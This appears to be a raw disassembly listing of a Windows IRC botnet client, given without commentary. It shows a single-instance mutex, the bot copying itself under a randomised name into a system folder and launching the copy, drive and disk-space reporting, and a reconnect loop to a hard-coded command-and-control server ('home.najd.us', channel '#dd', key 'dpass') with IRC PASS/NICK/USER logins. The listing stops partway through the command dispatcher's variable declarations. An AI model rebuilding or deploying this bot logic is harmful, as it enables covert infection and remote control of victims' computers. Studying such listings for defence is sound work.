; sub_4063B0+5F9p ...
var_38 = byte ptr -38h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 38h
and [ebp+var_4], 0
push ebx
push esi
push edi
push 32h
mov edi, offset dword_43E788
push 0
push edi
call sub_415570
mov ebx, [ebp+arg_0]
add esp, 0Ch
lea esi, [ebp+var_38]
loc_40C23D: ; CODE XREF: sub_40C218+5Bj
; sub_40C218+61j
push 0
push 0Ah
push [ebp+arg_4]
push ebx
call sub_417260
push 0
push 0Ah
push [ebp+arg_4]
add al, 30h
mov [esi], al
inc esi
push ebx
call sub_4172E0
mov ebx, eax
or eax, edx
mov [ebp+arg_4], edx
jz short loc_40C27B
inc [ebp+var_4]
push 3
mov eax, [ebp+var_4]
pop ecx
cdq
idiv ecx
test edx, edx
jnz short loc_40C23D
mov byte ptr [esi], 2Ch
inc esi
jmp short loc_40C23D
; ---------------------------------------------------------------------------
loc_40C27B: ; CODE XREF: sub_40C218+4Bj
dec esi
mov eax, edi
loc_40C27E: ; CODE XREF: sub_40C218+73j
lea ecx, [ebp+var_38]
cmp esi, ecx
jb short loc_40C28D
mov cl, [esi]
mov [eax], cl
inc eax
dec esi
jmp short loc_40C27E
; ---------------------------------------------------------------------------
loc_40C28D: ; CODE XREF: sub_40C218+6Bj
and byte ptr [eax], 0
mov eax, edi
pop edi
pop esi
pop ebx
leave
retn
sub_40C218 endp
; =============== S U B R O U T I N E =======================================
sub_40C297 proc near ; CODE XREF: sub_40C443+51p
; sub_40C443+87p
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_43A418
sub eax, 0
jz short loc_40C2DA
dec eax
jz short loc_40C2D4
dec eax
dec eax
jz short loc_40C2CE
dec eax
jz short loc_40C2C8
dec eax
jz short loc_40C2C2
dec eax
jz short loc_40C2BC
mov eax, offset word_42B7C4
retn
; ---------------------------------------------------------------------------
loc_40C2BC: ; CODE XREF: sub_40C297+1Dj
mov eax, offset aRam ; "RAM"
retn
; ---------------------------------------------------------------------------
loc_40C2C2: ; CODE XREF: sub_40C297+1Aj
mov eax, offset aCdrom ; "Cdrom"
retn
; ---------------------------------------------------------------------------
loc_40C2C8: ; CODE XREF: sub_40C297+17j
mov eax, offset aNetwork ; "Network"
retn
; ---------------------------------------------------------------------------
loc_40C2CE: ; CODE XREF: sub_40C297+14j
mov eax, offset aDisk ; "Disk"
retn
; ---------------------------------------------------------------------------
loc_40C2D4: ; CODE XREF: sub_40C297+10j
mov eax, offset aInvalid ; "Invalid"
retn
; ---------------------------------------------------------------------------
loc_40C2DA: ; CODE XREF: sub_40C297+Dj
mov eax, offset aUnknown ; "Unknown"
retn
sub_40C297 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C2E0 proc near ; CODE XREF: sub_40C328+12p
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 18h
or eax, 0FFFFFFFFh
mov [ebp+var_18], eax
mov [ebp+var_14], eax
mov [ebp+var_10], eax
mov [ebp+var_C], eax
mov [ebp+var_8], eax
mov [ebp+var_4], eax
mov eax, dword_43A2B4
test eax, eax
jz short loc_40C315
lea ecx, [ebp+var_10]
push ecx
lea ecx, [ebp+var_8]
push ecx
lea ecx, [ebp+var_18]
push ecx
push [ebp+arg_4]
call eax
loc_40C315: ; CODE XREF: sub_40C2E0+22j
mov eax, [ebp+arg_0]
push esi
push edi
push 6
pop ecx
lea esi, [ebp+var_18]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C2E0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C328 proc near ; CODE XREF: sub_40AAD1+1F3p
; sub_40C443+17p
var_198 = byte ptr -198h
var_118 = byte ptr -118h
var_98 = byte ptr -98h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 198h
push esi
push edi
push [ebp+arg_4]
lea eax, [ebp+var_18]
push eax
call sub_40C2E0
pop ecx
mov esi, eax
pop ecx
lea edi, [ebp+var_18]
push 6
pop ecx
rep movsd
mov eax, [ebp+var_18]
and eax, [ebp+var_14]
cmp eax, 0FFFFFFFFh
jz loc_40C400
mov eax, [ebp+var_10]
and eax, [ebp+var_C]
cmp eax, 0FFFFFFFFh
jz loc_40C400
mov eax, [ebp+var_8]
and eax, [ebp+var_4]
cmp eax, 0FFFFFFFFh
jz loc_40C400
push ebx
mov ebx, 400h
push 0
push ebx
push [ebp+var_14]
push [ebp+var_18]
call sub_417750
push edx
push eax
call sub_40C218
mov edi, offset aSkb ; "%sKB"
push eax
mov esi, 80h
push edi
lea eax, [ebp+var_198]
push esi
push eax
call sub_415A6A
add esp, 18h
push 0
push ebx
push [ebp+var_C]
push [ebp+var_10]
call sub_417750
push edx
push eax
call sub_40C218
push eax
push edi
lea eax, [ebp+var_118]
push esi
push eax
call sub_415A6A
add esp, 18h
push 0
push ebx
push [ebp+var_4]
push [ebp+var_8]
call sub_417750
push edx
push eax
call sub_40C218
push eax
push edi
lea eax, [ebp+var_98]
push esi
push eax
call sub_415A6A
add esp, 18h
pop ebx
jmp short loc_40C42F
; ---------------------------------------------------------------------------
loc_40C400: ; CODE XREF: sub_40C328+2Cj
; sub_40C328+3Bj ...
mov esi, offset aFailed ; "failed"
lea eax, [ebp+var_198]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_118]
push esi
push eax
call sub_4154E7
lea eax, [ebp+var_98]
push esi
push eax
call sub_4154E7
add esp, 18h
loc_40C42F: ; CODE XREF: sub_40C328+D6j
mov eax, [ebp+arg_0]
push 60h
pop ecx
lea esi, [ebp+var_198]
mov edi, eax
rep movsd
pop edi
pop esi
leave
retn
sub_40C328 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C443 proc near ; CODE XREF: sub_40C515+17p
; sub_40C515+60p
var_500 = byte ptr -500h
var_300 = byte ptr -300h
var_180 = byte ptr -180h
var_100 = byte ptr -100h
var_80 = byte ptr -80h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 500h
push ebx
mov ebx, [ebp+arg_C]
push esi
push edi
lea eax, [ebp+var_300]
push ebx
push eax
call sub_40C328
push 60h
mov esi, eax
pop ecx
lea edi, [ebp+var_300]
rep movsd
push 60h
lea esi, [ebp+var_300]
pop ecx
lea edi, [ebp+var_180]
lea eax, [ebp+var_80]
push offset aFailed ; "failed"
rep movsd
push eax
call sub_415910
add esp, 10h
test eax, eax
jnz short loc_40C4B6
push ebx
push ebx
call sub_40C297
pop ecx
push eax
push offset dword_42C128
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A6A
add esp, 14h
jmp short loc_40C4EA
; ---------------------------------------------------------------------------
loc_40C4B6: ; CODE XREF: sub_40C443+4Dj
lea eax, [ebp+var_180]
push eax
lea eax, [ebp+var_100]
push eax
lea eax, [ebp+var_80]
push eax
push ebx
push ebx
call sub_40C297
pop ecx
push eax
push offset dword_42C0D8
lea eax, [ebp+var_500]
push 200h
push eax
call sub_415A6A
add esp, 20h
loc_40C4EA: ; CODE XREF: sub_40C443+71j
push 1
lea eax, [ebp+var_500]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D4C
lea eax, [ebp+var_500]
push eax
call sub_40B16D
add esp, 18h
pop edi
pop esi
pop ebx
leave
retn
sub_40C443 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C515 proc near ; CODE XREF: sub_40CE55+5216p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
cmp [ebp+arg_C], ebx
jz short loc_40C536
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C443
add esp, 10h
jmp short loc_40C597
; ---------------------------------------------------------------------------
loc_40C536: ; CODE XREF: sub_40C515+9j
push esi
push edi
push ebx
push ebx
call dword_43A328
lea esi, [eax+2]
push esi
call sub_415DC9
pop ecx
mov edi, eax
push edi
push esi
call dword_43A328
cmp [edi], bl
mov esi, edi
jz short loc_40C58E
loc_40C55A: ; CODE XREF: sub_40C515+77j
push offset aA_0 ; "A:\\"
push esi
call sub_415910
pop ecx
test eax, eax
pop ecx
jz short loc_40C57D
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40C443
add esp, 10h
loc_40C57D: ; CODE XREF: sub_40C515+54j
push esi
call sub_415CF0
cmp [esi+eax+1], bl
lea esi, [esi+eax+1]
pop ecx
jnz short loc_40C55A
loc_40C58E: ; CODE XREF: sub_40C515+43j
push edi
call sub_415E3D
pop ecx
pop edi
pop esi
loc_40C597: ; CODE XREF: sub_40C515+1Fj
pop ebx
pop ebp
retn
sub_40C515 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C59A proc near ; DATA XREF: sub_40C682+11o
var_2B8 = dword ptr -2B8h
var_25C = byte ptr -25Ch
var_158 = byte ptr -158h
var_54 = dword ptr -54h
var_48 = dword ptr -48h
var_28 = dword ptr -28h
var_24 = word ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 25Ch
push ebx
push esi
push edi
push dword_43F554
call dword_43A450
call sub_41515C
call dword_43A318
call dword_43A318
mov ebx, dword_421060
push 64h
call ebx
xor edi, edi
push 10h
lea eax, [ebp+var_10]
push edi
push eax
call sub_415570
push 44h
lea eax, [ebp+var_54]
pop esi
push esi
push edi
push eax
call sub_415570
add esp, 18h
mov [ebp+var_54], esi
mov esi, 104h
lea eax, [ebp+var_25C]
push esi
push eax
mov [ebp+var_48], offset byte_438FDC
mov [ebp+var_28], 1
mov [ebp+var_24], di
call dword_421058
lea eax, [ebp+var_158]
push esi
push eax
push edi
call dword_42107C
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_54]
push eax
lea eax, [ebp+var_25C]
push eax
push edi
push 28h
push 1
push edi
lea eax, [ebp+var_158]
push edi
push eax
push edi
call dword_4210EC
test eax, eax
jz short loc_40C65F
push 64h
call ebx
push [ebp+var_10]
mov esi, dword_42106C
call esi
push [ebp+var_C]
call esi
loc_40C65F: ; CODE XREF: sub_40C59A+AFj
mov eax, [ebp+arg_8]
mov dword ptr [eax+0B0h], offset dword_43E7C0
mov eax, [esp+2B8h+var_2B8]
mov large fs:0, eax
add esp, 8
push edi
call dword_421114
pop edi
pop esi
pop ebx
sub_40C59A endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C682 proc near ; CODE XREF: .nsp0:00417BC1p
var_988 = byte ptr -988h
var_884 = byte ptr -884h
var_883 = byte ptr -883h
var_6F4 = byte ptr -6F4h
var_5F4 = byte ptr -5F4h
var_4F0 = byte ptr -4F0h
var_3F0 = byte ptr -3F0h
var_2EC = byte ptr -2ECh
var_1E8 = byte ptr -1E8h
var_E4 = byte ptr -0E4h
var_64 = dword ptr -64h
var_58 = dword ptr -58h
var_38 = dword ptr -38h
var_34 = word ptr -34h
var_20 = byte ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 988h
push ebx
xor ebx, ebx
push esi
push edi
mov [ebp+var_C], ebx
mov [ebp+var_8], offset sub_40C59A
push [ebp+var_8]
push large dword ptr fs:0
mov large fs:0, esp
cmp dword_42C190, ebx
jz short loc_40C6B8
call sub_409F9D
loc_40C6B8: ; CODE XREF: sub_40C682+2Fj
mov esi, dword_42104C
call esi
xor edx, edx
mov ecx, 3E8h
div ecx
mov dword_468838, eax
call esi
push eax
call sub_415539
pop ecx
call sub_4089F2
push 2
call dword_43A464
push 7530h
push offset aIdsppn ; "idsppn"
push ebx
push ebx
call dword_42112C
push eax
call dword_421128
cmp eax, 102h
jnz short loc_40C70C
push 1
call dword_421114
loc_40C70C: ; CODE XREF: sub_40C682+80j
lea eax, [ebp+var_884]
push eax
push 202h
call dword_43A330
cmp eax, ebx
mov [ebp+var_8], eax
jnz loc_40CB6C
cmp [ebp+var_884], 2
jnz loc_40CB66
xor eax, eax
mov al, [ebp+var_883]
cmp al, 2
jnz loc_40CB66
mov esi, 104h
lea eax, [ebp+var_3F0]
push esi
push eax
call dword_421058
lea eax, [ebp+var_2EC]
push esi
push eax
push ebx
call dword_4210C8
push eax
call dword_42107C
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push ebx
lea eax, [ebp+var_2EC]
push ebx
push eax
call sub_417348
lea eax, [ebp+var_4F0]
push eax
lea eax, [ebp+var_6F4]
push eax
push offset aSS_2 ; "%s%s"
lea eax, [ebp+var_5F4]
push esi
push eax
call sub_415A6A
lea eax, [ebp+var_3F0]
push eax
lea eax, [ebp+var_2EC]
push eax
call sub_415AC0
add esp, 30h
test eax, eax
jnz loc_40C96F
cmp dword_4689A8, ebx
mov esi, offset byte_42C1FC
jz short loc_40C807
push esi
xor edi, edi
call sub_415CF0
sub eax, 4
pop ecx
jz short loc_40C807
loc_40C7E4: ; CODE XREF: sub_40C682+183j
call sub_415543
push 1Ah
cdq
pop ecx
idiv ecx
push esi
add dl, 61h
mov byte_42C1FC[edi], dl
inc edi
call sub_415CF0
sub eax, 4
pop ecx
cmp edi, eax
jb short loc_40C7E4
loc_40C807: ; CODE XREF: sub_40C682+152j
; sub_40C682+160j
lea eax, [ebp+var_3F0]
push esi
push eax
lea eax, [ebp+var_1E8]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4154E7
add esp, 10h
lea eax, [ebp+var_1E8]
push eax
call dword_421094
cmp eax, 0FFFFFFFFh
jz short loc_40C847
lea eax, [ebp+var_1E8]
push 80h
push eax
call dword_4210F4
loc_40C847: ; CODE XREF: sub_40C682+1B1j
mov esi, dword_421124
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
xor edi, edi
push eax
loc_40C85E: ; CODE XREF: sub_40C682+213j
call esi
test eax, eax
jnz short loc_40C897
call dword_421088
cmp edi, ebx
jnz short loc_40C897
cmp eax, 20h
jz short loc_40C878
cmp eax, 5
jnz short loc_40C897
loc_40C878: ; CODE XREF: sub_40C682+1EFj
push 1
pop edi
push 3A98h
call dword_421060
lea eax, [ebp+var_1E8]
push ebx
push eax
lea eax, [ebp+var_2EC]
push eax
jmp short loc_40C85E
; ---------------------------------------------------------------------------
loc_40C897: ; CODE XREF: sub_40C682+1E0j
; sub_40C682+1EAj ...
lea eax, [ebp+var_1E8]
push eax
call sub_409D4F
pop ecx
lea eax, [ebp+var_1E8]
push 7
push eax
call dword_4210F4
push 10h
lea eax, [ebp+var_1C]
push ebx
push eax
call sub_415570
push 44h
lea eax, [ebp+var_64]
pop esi
push esi
push ebx
push eax
call sub_415570
add esp, 18h
mov [ebp+var_64], esi
mov [ebp+var_58], offset byte_438FDC
mov [ebp+var_34], bx
push 1
pop esi
mov [ebp+var_38], esi
call dword_421120
push eax
push esi
push 100000h
call dword_42111C
lea ecx, [ebp+var_2EC]
push ecx
push eax
lea eax, [ebp+var_1E8]
push eax
lea eax, [ebp+var_988]
push offset dword_43317C
push eax
call sub_4154E7
add esp, 14h
lea eax, [ebp+var_1C]
push eax
lea eax, [ebp+var_64]
push eax
lea eax, [ebp+var_3F0]
push eax
push ebx
push 28h
push esi
push ebx
lea eax, [ebp+var_988]
push ebx
push eax
lea eax, [ebp+var_1E8]
push eax
call dword_4210EC
test eax, eax
jz short loc_40C96F
push 0C8h
call dword_421060
push [ebp+var_1C]
mov esi, dword_42106C
call esi
push [ebp+var_18]
call esi
call dword_43A318
push ebx
call dword_421114
loc_40C96F: ; CODE XREF: sub_40C682+141j
; sub_40C682+2C3j
cmp dword_4694D0, 2
jle short loc_40C9BB
mov eax, dword_4694D4
push dword ptr [eax+4]
call sub_415A5F
pop ecx
mov esi, eax
push 0FFFFFFFFh
push esi
call dword_421128
push esi
call dword_42106C
mov eax, dword_4694D4
cmp [eax+8], ebx
jz short loc_40C9BB
push 7D0h
call dword_421060
mov eax, dword_4694D4
push dword ptr [eax+8]
call dword_421118
loc_40C9BB: ; CODE XREF: sub_40C682+2F4j
; sub_40C682+31Ej
cmp dword_42C198, ebx
jz short loc_40C9D8
cmp dword_43A488, ebx
jnz short loc_40C9D8
lea eax, [ebp+var_5F4]
push eax
call sub_40B3AE
pop ecx
loc_40C9D8: ; CODE XREF: sub_40C682+33Fj
; sub_40C682+347j
lea eax, [ebp+var_E4]
push offset dword_433150
push eax
call sub_4154E7
push ebx
lea eax, [ebp+var_E4]
push ebx
push eax
call sub_414F93
lea eax, [ebp+var_E4]
push eax
call sub_40B16D
push 0B80h
push ebx
push offset dword_43E7C8
call sub_415570
call sub_415543
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_468844
mov dword_4689BC, ebx
call sub_416D40
mov eax, dword_42C17C
push 3Fh
mov edi, offset dword_4688C4
push offset aDd_0 ; "#dd"
push edi
mov dword_468994, eax
call sub_416D40
push 3Fh
mov esi, offset dword_468904
push offset aDpass ; "dpass"
push esi
call sub_416D40
add esp, 48h
mov dword_468998, ebx
loc_40CA66: ; CODE XREF: sub_40C682+48Aj
; sub_40C682+495j ...
mov [ebp+var_4], ebx
loc_40CA69: ; CODE XREF: sub_40C682+43Ej
cmp dword_43A4A0, ebx
jnz short loc_40CA87
lea eax, [ebp+var_20]
push ebx
push eax
call dword_43A2FC
test eax, eax
jnz short loc_40CA87
push 7530h
jmp short loc_40CAB3
; ---------------------------------------------------------------------------
loc_40CA87: ; CODE XREF: sub_40C682+3EDj
; sub_40C682+3FCj
push offset dword_468840
mov dword_4689B8, ebx
call sub_40CB75
cmp eax, 2
mov [ebp+var_8], eax
jz loc_40CB61
cmp dword_4689B8, ebx
jz short loc_40CAAE
dec [ebp+var_4]
loc_40CAAE: ; CODE XREF: sub_40C682+427j
push 0BB8h
loc_40CAB3: ; CODE XREF: sub_40C682+403j
call dword_421060
inc [ebp+var_4]
cmp [ebp+var_4], 6
jl short loc_40CA69
cmp [ebp+var_8], 2
jz loc_40CB61
cmp [ebp+var_C], ebx
jz short loc_40CB11
push 7Fh
push offset aHome_najd_us ; "home.najd.us"
push offset dword_468844
call sub_416D40
mov eax, dword_42C17C
push 3Fh
push offset aDd_0 ; "#dd"
push edi
mov dword_468994, eax
call sub_416D40
push 3Fh
push offset aDpass ; "dpass"
push esi
call sub_416D40
add esp, 24h
mov [ebp+var_C], ebx
jmp loc_40CA66
; ---------------------------------------------------------------------------
loc_40CB11: ; CODE XREF: sub_40C682+44Dj
cmp byte_42C1DC, bl
jz loc_40CA66
push 7Fh
push offset byte_42C1DC
push offset dword_468844
call sub_416D40
mov eax, dword_42C180
push 3Fh
push offset aDd_1 ; "#dd"
push edi
mov dword_468994, eax
call sub_416D40
push 3Fh
push offset aDpass_0 ; "dpass"
push esi
call sub_416D40
add esp, 24h
mov [ebp+var_C], 1
jmp loc_40CA66
; ---------------------------------------------------------------------------
loc_40CB61: ; CODE XREF: sub_40C682+41Bj
; sub_40C682+444j
call sub_41515C
loc_40CB66: ; CODE XREF: sub_40C682+AEj
; sub_40C682+BEj
call dword_43A318
loc_40CB6C: ; CODE XREF: sub_40C682+A1j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 10h
sub_40C682 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CB75 proc near ; CODE XREF: sub_40C682+410p
; DATA XREF: sub_40CE55+39D7o
var_190 = dword ptr -190h
var_18C = byte ptr -18Ch
var_10C = byte ptr -10Ch
var_CC = byte ptr -0CCh
var_8C = byte ptr -8Ch
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_2C = byte ptr -2Ch
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 190h
mov eax, [ebp+arg_0]
push esi
push edi
push 59h
pop ecx
mov esi, eax
lea edi, [ebp+var_190]
rep movsd
mov dword ptr [eax+160h], 1
loc_40CB9A: ; CODE XREF: sub_40CB75+E6j
; sub_40CB75+136j ...
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_415570
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+var_3C]
call dword_43A3B8
mov [ebp+var_E], ax
lea eax, [ebp+var_18C]
push eax
call sub_40A05B
test eax, eax
pop ecx
mov [ebp+var_C], eax
jz loc_40CCC7
push 1Ch
lea eax, [ebp+var_2C]
push 0
push eax
call sub_415570
push 0
lea eax, [ebp+var_2C]
push dword_4689AC
push dword_42C1A4
push eax
call sub_414433
mov edi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 1Bh
add eax, offset byte_43F560
push edi
push eax
call sub_416D40
add esp, 28h
push 6
push 1
push 2
call dword_43A438
mov esi, eax
mov eax, [ebp+var_34]
imul eax, 234h
push 10h
mov dword_43F554[eax], esi
lea eax, [ebp+var_10]
push eax
push esi
call dword_43A360
cmp eax, 0FFFFFFFFh
jnz short loc_40CC60
push esi
call dword_43A450
call sub_40A084
push 7D0h
loc_40CC55: ; CODE XREF: sub_40CB75+146j
call dword_421060
jmp loc_40CB9A
; ---------------------------------------------------------------------------
loc_40CC60: ; CODE XREF: sub_40CB75+CDj
lea eax, [ebp+var_18C]
push eax
push offset dword_433188
call sub_40B1E1
push [ebp+var_38]
lea eax, [ebp+var_18C]
push eax
lea eax, [ebp+var_8C]
push eax
lea eax, [ebp+var_CC]
push [ebp+var_190]
push edi
push eax
lea eax, [ebp+var_10C]
push eax
push esi
call sub_40CCDD
add esp, 28h
mov edi, eax
push esi
call dword_43A450
test edi, edi
jz loc_40CB9A
cmp edi, 1
jnz short loc_40CCBD
push 0DBBA0h
jmp short loc_40CC55
; ---------------------------------------------------------------------------
loc_40CCBD: ; CODE XREF: sub_40CB75+13Fj
cmp edi, 2
jz short loc_40CCCB
jmp loc_40CB9A
; ---------------------------------------------------------------------------
loc_40CCC7: ; CODE XREF: sub_40CB75+5Aj
xor eax, eax
jmp short loc_40CCD7
; ---------------------------------------------------------------------------
loc_40CCCB: ; CODE XREF: sub_40CB75+14Bj
push [ebp+var_34]
call sub_4152AF
pop ecx
push 2
pop eax
loc_40CCD7: ; CODE XREF: sub_40CB75+154j
pop edi
pop esi
leave
retn 4
sub_40CB75 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CCDD proc near ; CODE XREF: sub_40CB75+123p
var_1A10 = byte ptr -1A10h
var_A10 = byte ptr -0A10h
var_240 = byte ptr -240h
var_1A0 = byte ptr -1A0h
var_A0 = byte ptr -0A0h
var_20 = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
mov eax, 1A10h
call sub_415D70
push ebx
push esi
push edi
xor ebx, ebx
push 2
mov [ebp+var_8], ebx
lea eax, [ebp+var_1A0]
pop ecx
loc_40CCFB: ; CODE XREF: sub_40CCDD+26j
mov [eax], bl
add eax, 80h
dec ecx
jnz short loc_40CCFB
cmp byte_4689B0, bl
jz short loc_40CD22
push offset byte_4689B0
push offset aPassS ; "PASS %s\r\n"
push [ebp+arg_0]
call sub_412D06
add esp, 0Ch
loc_40CD22: ; CODE XREF: sub_40CCDD+2Ej
push [ebp+arg_C]
lea eax, [ebp+var_20]
push ebx
push ebx
push 2
push eax
call sub_414433
add esp, 10h
push eax
lea eax, [ebp+var_A0]
push [ebp+arg_C]
push offset aNickSUserS00S ; "NICK %s\r\nUSER %s 0 0 :%s\r\n"
push eax
call sub_4154E7
add esp, 14h
lea eax, [ebp+var_A0]
push ebx
push eax
call sub_415CF0
pop ecx
push eax
lea eax, [ebp+var_A0]
push eax
push [ebp+arg_0]
call dword_43A408
cmp eax, 0FFFFFFFFh
jnz short loc_40CD8C
push [ebp+arg_0]
call dword_43A450
push 1388h
call dword_421060
loc_40CD85: ; CODE XREF: sub_40CCDD+D9j
; sub_40CCDD+153j
xor eax, eax
loc_40CD87: ; CODE XREF: sub_40CCDD+173j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40CD8C: ; CODE XREF: sub_40CCDD+92j
; sub_40CCDD+F8j ...
mov esi, 1000h
lea eax, [ebp+var_1A10]
push esi
push ebx
push eax
call sub_415570
add esp, 0Ch
lea eax, [ebp+var_1A10]
push ebx
push esi
push eax
push [ebp+arg_0]
call dword_43A3D0
test eax, eax
jle short loc_40CD85
lea eax, [ebp+var_A10]
push eax
lea eax, [ebp+var_1A10]
push eax
call sub_409A3B
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+var_C], eax
mov [ebp+var_4], ebx
jle short loc_40CD8C
lea edi, [ebp+var_A10]
loc_40CDDD: ; CODE XREF: sub_40CCDD+165j
push 1
pop esi
loc_40CDE0: ; CODE XREF: sub_40CCDD+144j
push [ebp+arg_1C]
lea eax, [ebp+var_8]
push esi
push eax
lea eax, [ebp+var_240]
push eax
lea eax, [ebp+var_1A0]
push eax
push [ebp+arg_18]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
push dword ptr [edi]
call sub_40CE55
add esp, 2Ch
dec eax
mov esi, eax
cmp esi, ebx
jle short loc_40CE23
push 7D0h
call dword_421060
jmp short loc_40CDE0
; ---------------------------------------------------------------------------
loc_40CE23: ; CODE XREF: sub_40CCDD+137j
cmp esi, 0FFFFFFFDh
jz short loc_40CE4D
cmp esi, 0FFFFFFFEh
jz short loc_40CE49
cmp esi, 0FFFFFFFFh
jz loc_40CD85
inc [ebp+var_4]
add edi, 4
mov eax, [ebp+var_4]
cmp eax, [ebp+var_C]
jl short loc_40CDDD
jmp loc_40CD8C
; ---------------------------------------------------------------------------
loc_40CE49: ; CODE XREF: sub_40CCDD+14Ej
push 1
jmp short loc_40CE4F
; ---------------------------------------------------------------------------
loc_40CE4D: ; CODE XREF: sub_40CCDD+149j
push 2
loc_40CE4F: ; CODE XREF: sub_40CCDD+16Ej
pop eax
jmp loc_40CD87
sub_40CCDD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40CE55 proc near ; CODE XREF: sub_40CCDD+12Ap
var_159C = byte ptr -159Ch
var_119C = byte ptr -119Ch
var_F9C = byte ptr -0F9Ch
var_D9C = byte ptr -0D9Ch
var_C9C = byte ptr -0C9Ch
var_C98 = byte ptr -0C98h
var_B98 = byte ptr -0B98h
var_B94 = byte ptr -0B94h
var_A94 = byte ptr -0A94h
var_A14 = byte ptr -0A14h
var_9B3 = byte ptr -9B3h
var_9B2 = byte ptr -9B2h
var_9B0 = byte ptr -9B0h
var_9AF = byte ptr -9AFh
var_9A6 = byte ptr -9A6h
var_9A4 = byte ptr -9A4h
var_9A2 = byte ptr -9A2h
var_9A1 = byte ptr -9A1h
var_914 = dword ptr -914h
var_910 = byte ptr -910h
var_80C = dword ptr -80Ch
var_808 = dword ptr -808h
var_804 = byte ptr -804h
var_800 = dword ptr -800h
var_7FC = byte ptr -7FCh
var_7F8 = dword ptr -7F8h
var_7F4 = dword ptr -7F4h
var_7F0 = byte ptr -7F0h
var_788 = byte ptr -788h
var_77C = byte ptr -77Ch
var_778 = dword ptr -778h
var_774 = byte ptr -774h
var_770 = byte ptr -770h
var_718 = dword ptr -718h
var_710 = byte ptr -710h
var_704 = dword ptr -704h
var_700 = byte ptr -700h
var_6FC = byte ptr -6FCh
var_6F8 = dword ptr -6F8h
var_6F4 = byte ptr -6F4h
var_6F0 = byte ptr -6F0h
var_689 = byte ptr -689h
var_688 = byte ptr -688h
var_680 = byte ptr -680h
var_678 = byte ptr -678h
var_674 = byte ptr -674h
var_670 = byte ptr -670h
var_600 = byte ptr -600h
var_5FC = dword ptr -5FCh
var_5F8 = dword ptr -5F8h
var_5F4 = dword ptr -5F4h
var_5F0 = byte ptr -5F0h
var_588 = dword ptr -588h
var_584 = dword ptr -584h
var_580 = dword ptr -580h
var_57C = dword ptr -57Ch
var_578 = dword ptr -578h
var_574 = dword ptr -574h
var_570 = dword ptr -570h
var_56C = dword ptr -56Ch
var_568 = dword ptr -568h
var_564 = byte ptr -564h
var_548 = byte ptr -548h
var_4F8 = dword ptr -4F8h
var_4F4 = byte ptr -4F4h
var_4F0 = dword ptr -4F0h
var_4EC = byte ptr -4ECh
var_4E0 = dword ptr -4E0h
var_4DC = dword ptr -4DCh
var_4D8 = dword ptr -4D8h
var_4D4 = byte ptr -4D4h
var_4AC = byte ptr -4ACh
var_48C = dword ptr -48Ch
var_474 = byte ptr -474h
var_46C = dword ptr -46Ch
var_468 = dword ptr -468h
var_464 = dword ptr -464h
var_460 = dword ptr -460h
var_45C = dword ptr -45Ch
var_458 = dword ptr -458h
var_454 = dword ptr -454h
var_450 = dword ptr -450h
var_44C = dword ptr -44Ch
var_448 = byte ptr -448h
